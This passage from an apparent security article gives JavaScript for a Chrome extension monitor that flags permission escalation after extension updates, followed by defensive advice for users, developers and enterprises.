constructor() {
this.extensionRegistry = new Map();
}
// Monitor all installed extensions
async monitorExtensions() {
const extensions = await chrome.management.getAll();
extensions.forEach(ext => {
// Store baseline permissions
this.extensionRegistry.set(ext.id, {
name: ext.name,
version: ext.version,
permissions: ext.permissions,
hostPermissions: ext.hostPermissions
});
});
// Listen for extension updates
chrome.management.onInstalled.addListener((ext) => {
this.checkForSuspiciousUpdate(ext);
});
chrome.management.onEnabled.addListener((ext) => {
this.checkForSuspiciousUpdate(ext);
});
}
checkForSuspiciousUpdate(newExt) {
const baseline = this.extensionRegistry.get(newExt.id);
if (!baseline) {
console.log(`[*] New extension installed: ${newExt.name}`);
return;
}
// Check for permission escalation
const newPermissions = newExt.permissions.filter(p => !baseline.permissions.includes(p));
const newHostPermissions = newExt.hostPermissions.filter(h => !baseline.hostPermissions.includes(h));
if (newPermissions.length > 0 || newHostPermissions.length > 0) {
console.warn(`[!] SUSPICIOUS UPDATE DETECTED: ${newExt.name}`);
console.warn(`[!] New permissions:`, newPermissions);
console.warn(`[!] New host permissions:`, newHostPermissions);
// Alert user
this.alertUser(newExt, newPermissions, newHostPermissions);
}
}
alertUser(ext, newPerms, newHosts) {
const message = `
⚠️ WARNING: Extension "${ext.name}" requested new permissions:
Permissions: ${newPerms.join(', ')}
Host Access: ${newHosts.join(', ')}
This could indicate a supply chain attack!
`;
console.error(message);
// In real implementation, show browser notification
if (chrome.notifications) {
chrome.notifications.create({
type: 'basic',
iconUrl: 'warning-icon.png',
title: 'Suspicious Extension Update',
message: message,
priority: 2
});
}
}
}
// Initialize monitor
const monitor = new ExtensionUpdateMonitor();
monitor.monitorExtensions();Defense Against Extension Attacks
For Users:
- Review extension permissions before installation
- Monitor for unexpected permission requests after updates
- Uninstall extensions you don't actively use
- Check extension reviews for sudden negative feedback (indicates compromise)
- Use browser's built-in extension permission manager regularly
For Developers:
- Enable 2FA on developer accounts
- Use hardware security keys for Chrome Web Store access
- Implement code signing for extension packages
- Monitor extension analytics for unusual spikes in installations
- Set up alerts for unauthorized updates
- Use minimal permissions (Principle of Least Privilege)
For Enterprises:
- Implement extension allowlisting policies
- Use Chrome Enterprise policies to restrict extension installation
- Monitor for extension permission changes via MDM
- Block extensions from untrusted developers
- Audit installed extensions quarterly
